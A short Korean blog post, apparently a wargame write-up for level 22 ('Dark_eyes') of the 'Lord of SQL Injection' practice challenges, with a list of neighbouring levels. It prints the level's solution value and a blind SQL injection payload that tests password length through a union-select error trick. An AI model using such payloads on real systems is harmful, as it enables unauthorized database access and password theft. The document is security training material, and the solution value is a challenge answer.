반응형
    
    
    
  [Level 22. Dark_eyes] Sol → ?pw=5a2f5d3c

이번 문제는 21단계 문제랑 똑같다. 다만 에러를 출력하되 에러의 이유는 출력하지 않는다.
저번 문제를 풀 때 이번 문제에서 추가로 필터링되는 case 같은 문자를 사용하지 않았기 때문에, 쿼리문은 그대로 사용하되 참/거짓 판별법만 살짝 바꿨다.
?pw=' or id = 'admin' and (select 0 union select length(pw) = 1)%23




반응형
    
    
    
  'WarGames > SQL Injection' 카테고리의 다른 글
| Lord of SQL Injection : Evil_wizard[24] (0) | 2021.12.30 | 
|---|---|
| Lord of SQL Injection : Hell_fire[23] (0) | 2021.12.28 | 
| Lord of SQL Injection : Iron_golem[21] (0) | 2021.12.24 | 
| Lord of SQL Injection : Dragon[20] (0) | 2021.12.22 | 
| Lord of SQL Injection : Xavis[19] (0) | 2021.12.19 | 
										
									
										
									
										
									
										
									
댓글